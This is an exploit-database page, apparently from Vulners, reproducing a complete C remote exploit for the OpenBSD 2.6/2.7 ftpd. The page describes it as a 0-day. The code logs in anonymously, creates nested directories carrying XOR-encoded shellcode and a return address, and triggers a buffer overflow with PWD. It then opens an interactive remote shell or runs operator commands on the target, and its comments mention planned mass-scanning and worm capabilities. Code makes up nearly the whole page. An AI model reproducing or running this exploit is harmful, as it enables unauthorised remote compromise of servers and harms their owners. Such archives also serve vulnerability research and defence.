Lucene search
K

OpenBSD 2.6 / 2.7ftpd Remote Exploit

🗓️ 24 Oct 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

OpenBSD 2.6 / 2.7 ftpd Remote Exploit. 0-day kod3z by Scrippie, dvorak, and jimjones. Not fully developed exploit but it works most of the time. Things to add: automatic writeable directory finding, syn-scan option, worm capabilities

Code

                                                /*
   h0h0h0 0-day k0d3z
   Exploit by Scrippie, help by dvorak and jimjones

   greets to sk8

   Not fully developt exploit but it works most of the time ;)

   Things to add:
      - automatic writeable directory finding
      - syn-scan option to do mass-scanning
      - worm capabilities? (should be done seperatly using the -C option

   11/13/2000
*/

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>


void usage(char *program);
char *strcreat(char *, char *, int);
char *longToChar(unsigned long);
char *xrealloc(void *, size_t);
void xfree(char **ptr);
char *xmalloc(size_t);
int xconnect(char *host, u_short port);
void xsend(int fd, char *buf);
void xsendftpcmd(int fd, char *command, char *param);
void xrecieveall(int fd, char *buf, int size);
void xrecieve(int fd, char *buf, int size);
void ftp_login(int fd, char *user, char *password);
void exploit(int fd);

int verbose = 0;


/*
   Written by dvorak, garbled up by "Smegma" with a word xor 0xaabb mask
   to get rid of dots and slashes.
*/

char heavenlycode[] =
"\x31\xc0\x89\xc1\x80\xc1\x02\x51\x50\x04\x5a\x50\xcd\x80"
"\xeb\x10\x5e\x31\xc9\xb1\x4a\x66\x81\x36\xbb\xaa\x46\x46\xe2\xf7\xeb\x05\xe8\xeb\xff\xff\xff\xff\xff\xff\x50\xcf\xe5\x9b\x7b\xf
a\xbf\xbd\xeb\x67\x3b\xfc\x8a\x6a\x33\xec\xba\xae\x33\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\xb5\x36\xf4\xa5\xf9\xbf\xaf\xeb\x67\x3b\x2
3\x7a\xfc\x8a\x6a\xbf\x97\xeb\x67\x3b\xfb\x8a\x6a\xbf\xa4\xf3\xfa\x76\x2a\x36\xf4\xb9\xf9\x8a\x6a\xbf\xa6\xeb\x67\x3b\x27\xe5\xb
4\xe8\x9b\x7b\xae\x86\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\x8d\x36\xf4\x93\xf9\x36\xf4\x9b\x23\xe5\x82\x32\xec\x97\xf9\xbf\x91\xeb\x6
7\x3b\x42\x2d\x55\x44\x55\xfa\xeb\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x8
5\x95\x84\x94\x84\x95\xeb\x94\xc8\xd2\xc4\x94\xd9\xd3";

char user[255] = "anonymous";
char pass[255] = "[email protected]";
char write_dir[PATH_MAX] = "/";
int ftpport = 21;
unsigned long int ret_addr = 0;
#define CMD_LOCAL 0
#define CMD_REMOTE 1
int command_type = -1;
char *command = NULL;

struct typeT {
        char *name;
        unsigned long int ret_addr;
};

#define NUM_TYPES 2
struct typeT types[NUM_TYPES] = {
        "OpenBSD 2.6", 0xdfbfd0ac,
        "OpenBSD 2.7", 0xdfbfd0ac};

void
usage(char *program)
{
        int i;
        fprintf(stderr,
                "\nUsage: %s [-h host] [-f port] [-u user] [-p pass] [-d directory] [-t type]\n\t\t[-r retaddr] [-c command] 
[-C command]\n\n"
                "Directory should be an absolute path, writable by the user.\n"
                "The argument of -c will be executed on the remote host\n"
                "while the argument of -C will be executed on the local\n"
                "with its filedescriptors connected to the remote host\n"
                "Valid types:\n",
                program);
        for (i = 0; i < NUM_TYPES; i++) {
                printf("%d : %s\n", i,  types[i].name);
        }
        exit(-1);
}


main(int argc, char **argv)
{
        unsigned int i;
        int opt, fd;
        unsigned int type = 0;
        char *hostname = "localhost";

        if (argc < 2)
                usage(argv[0]);

        while ((opt = getopt(argc, argv, "h:r:u:f:d:t:vp:c:C:")) != -1) {
                switch (opt) {
                case 'h':
                        hostname = optarg;
                        break;
                case 'C':
                        command = optarg;
                        command_type = CMD_LOCAL;
                        break;
                case 'c':
                        command = optarg;
                        command_type = CMD_REMOTE;
                        break;
                case 'r':
                        ret_addr = strtoul(optarg, NULL, 0);
                        break;
                case 'v':
                        verbose++;
                        break;
                case 'f':
                        if (!(ftpport = atoi(optarg))) {
                                fprintf(stderr, "Invalid destination port - %s\n", optarg);
                                exit(-1);
                        }
                        exit(-1);
                        break;
                case 'u':
                        strncpy(user, optarg, sizeof(user) - 1);
                        user[sizeof(user) - 1] = 0x00;
                        break;
                case 'p':
                        strncpy(pass, optarg, sizeof(pass) - 1);
                        pass[sizeof(pass) - 1] = 0x00;
                        break;
                case 'd':
                        strncpy(write_dir, optarg, sizeof(write_dir) - 1);
                        write_dir[sizeof(write_dir) - 1] = 0x00;
                        if ((write_dir[0] != '/')) 
                                usage(argv[0]);
                        if ((write_dir[strlen(write_dir) - 1] != '/'))
                                strncat(write_dir, "/", sizeof(write_dir) - 1);
                        break;
                case 't':
                        type = atoi(optarg);
                        if (type > NUM_TYPES)
                                usage(argv[0]);
                        break;
                default:
                        usage(argv[0]);
                }
        }

        if (ret_addr == 0)
                ret_addr = types[type].ret_addr;
        if ((fd = xconnect(hostname, ftpport)) == -1)
                exit(-1);
        else
                printf("Connected to remote host! Sending evil codes.\n");


        ftp_login(fd, user, pass);
        exploit(fd);


}

int
ftp_cmd_err(int fd, char *command, char *param, char *res, int size, char * msg)
{
        xsendftpcmd(fd, command, param);
        xrecieveall(fd, res, size);

        if (res == NULL)
                return 0;
        if (verbose)
                printf("%s\n", res);
        if (msg && (res[0] != '2')) {
                fprintf(stderr, "%s\n", msg);
                exit(-1);
        }
        return (res[0] != '2');
}

void shell(int fd)
{
        fd_set readfds;
        char buf[1];
        char *tst = "echo ; echo ; echo HAVE FUN ; id ; uname -a\n";

        write(fd, tst, strlen(tst));
        while (1) {
                FD_ZERO(&readfds);
                FD_SET(0, &readfds);
                FD_SET(fd, &readfds);
                select(fd + 1, &readfds, NULL, NULL, NULL);
                if (FD_ISSET(0, &readfds)) {
                        if (read(0, buf, 1) != 1) {
                                perror("read");
                                exit(1);
                        }
                        write(fd, buf, 1);
                }
                if (FD_ISSET(fd, &readfds)) {
                        if (read(fd, buf, 1) != 1) {
                                perror("read");
                                exit(1);
                        }
                        write(1, buf, 1);
                }
        }
}

void do_command(int fd)
{
        char buffer[1024];
        int len;

        if (command_type == CMD_LOCAL) {
                dup2(fd, 0);
                dup2(fd, 1);
                dup2(fd, 2);
                execl(command, command, NULL);
                exit (2);
        }
        write(fd, command, strlen(command));
        write(fd, "\n", 1);
        while ((len = read(fd, buffer, sizeof(buffer))) > 0) {
                write(1, buffer, len);
        }
        exit (0);
}

void execute_command(fd) 
{
}

int exploit_ok(int fd)
{
        char result[1024];
        xsend(fd, "id\n");

        xrecieve(fd, result, sizeof(result));
        return (strstr(result, "uid=") != NULL);
}

void exploit(int fd)
{
        char res[1024];
        int heavenlycode_s;
        char *dir = NULL;

        ftp_cmd_err(fd, "CWD", write_dir, res, 1024, "Can't CWD to write_dir");

        dir = strcreat(dir, "A", 255 - strlen(write_dir));
        ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
        ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
        xfree(&dir);

        /* next on = 256 */

        dir = strcreat(dir, "A", 255);
        ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
        ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
        xfree(&dir);
        /* next on = 512 */

        heavenlycode_s = strlen(heavenlycode);
        dir = strcreat(dir, "A", 254 - heavenlycode_s);
        dir = strcreat(dir, heavenlycode, 1);
        ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
        ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
        xfree(&dir);
        /* next on = 768 */

        dir = strcreat(dir, longToChar(ret_addr), 252 / 4);
        ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
        ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
        xfree(&dir);
        /* length = 1020 */

        /* 1022 moet " zijn */
        dir = strcreat(dir, "AAA\"", 1);
        ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
        ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
        xfree(&dir);

        /* and tell it to blow up */
        ftp_cmd_err(fd, "PWD", NULL, res, 1024, NULL);

        if (!exploit_ok(fd)) {
                if (command != NULL) {
                        exit (2);
                } 
                fprintf(stderr, "Exploit failed\n");
                exit (1);
        }
        if (command == NULL)
                shell(fd);
        else
                do_command(fd);
}


char *
strcreat(char *dest, char *pattern, int repeat)
{
        char *ret;
        size_t plen, dlen = 0;
        int i;

        if (dest)
                dlen = strlen(dest);
        plen = strlen(pattern);

        ret = (char *) xrealloc(dest, dlen + repeat * plen + 1);

        if (!dest)
                ret[0] = 0x00;

        for (i = 0; i < repeat; i++) {
                strcat(ret, pattern);
        }
        return (ret);
}

char *
longToChar(unsigned long blaat)
{
        char *ret;

        ret = (char *) xmalloc(sizeof(long) + 1);
        memcpy(ret, &blaat, sizeof(long));
        ret[sizeof(long)] = 0x00;

        return (ret);
}

char *
xrealloc(void *ptr, size_t size)
{
        char *wittgenstein_was_a_drunken_swine;

        if (!(wittgenstein_was_a_drunken_swine = (char *) realloc(ptr, size))) {
                fprintf(stderr, "Cannot calculate universe\n");
                exit(-1);
        }
        return (wittgenstein_was_a_drunken_swine);
}

void
xfree(char **ptr)
{
        if (!ptr || !*ptr)
                return;
        free(*ptr);
        *ptr = NULL;
}

char *
xmalloc(size_t size)
{
        char *heidegger_was_a_boozy_beggar;

        if (!(heidegger_was_a_boozy_beggar = (char *) malloc(size))) {
                fprintf(stderr, "Out of cheese error\n");
                exit(-1);
        }
        return (heidegger_was_a_boozy_beggar);
}


int
xconnect(char *host, u_short port)
{
        struct hostent *he;
        struct sockaddr_in s_in;
        int fd;

        if ((he = gethostbyname(host)) == NULL) {
                perror("gethostbyname");
                return (-1);
        }
        memset(&s_in, 0, sizeof(s_in));
        s_in.sin_family = AF_INET;
        s_in.sin_port = htons(port);
        memcpy(&s_in.sin_addr.s_addr, he->h_addr, he->h_length);

        if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
                perror("socket");
                return (-1);
        }
        if (connect(fd, (const struct sockaddr *) & s_in, sizeof(s_in)) == -1) {
                perror("connect");
                return (-1);
        }
        return fd;
}

/* returns status from ftpd */
void
ftp_login(int fd, char *user, char *password)
{
        char reply[512];
        int rep;
        xrecieveall(fd, reply, sizeof(reply));
        if (verbose) {
                printf("Logging in ..\n");
                printf("%s\n", reply);
        }
        xsendftpcmd(fd, "USER", user);
        xrecieveall(fd, reply, sizeof(reply));
        if (verbose)
                printf("%s\n", reply);
        xsendftpcmd(fd, "PASS", password);
        xrecieveall(fd, reply, sizeof(reply));
        if (verbose)
                printf("%s\n", reply);

        if (reply[0] != '2') {
                printf("Login failed.\n");
                exit(-1);
        }
}

void
xsendftpcmd(int fd, char *command, char *param)
{
        xsend(fd, command);

        if (param != NULL) {
                xsend(fd, " ");
                xsend(fd, param);
        }
        xsend(fd, "\r\n");
}


void
xsend(int fd, char *buf)
{

        if (send(fd, buf, strlen(buf), 0) != strlen(buf)) {
                perror("send");
                exit(-1);
        }
}

void
xrecieveall(int fd, char *buf, int size)
{
        char scratch[6];

        if (buf == NULL || size == 0) {
                buf = scratch;
                size = sizeof(scratch);
        }
        memset(buf, 0, size);
        do {
                xrecieve(fd, buf, size);
        } while (buf[3] == '-');
}
/* recieves a line from the ftpd */
void
xrecieve(int fd, char *buf, int size)
{
        char *end;
        char ch;

        end = buf + size;

        while (buf < end) {
                if (read(fd, buf, 1) != 1) {
                        perror("read"); /* XXX */
                        exit(-1);
                }
                if (buf[0] == '\n') {
                        buf[0] = '\0';
                        return;
                }
                if (buf[0] != '\r') {
                        buf++;
                }
        }
        buf--;
        while (read(fd, buf, 1) == 1) {
                if (buf[0] == '\n') {
                        buf[0] = '\0';
                        return;
                }
        }
        perror("read");         /* XXX */
        exit(-1);
}


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation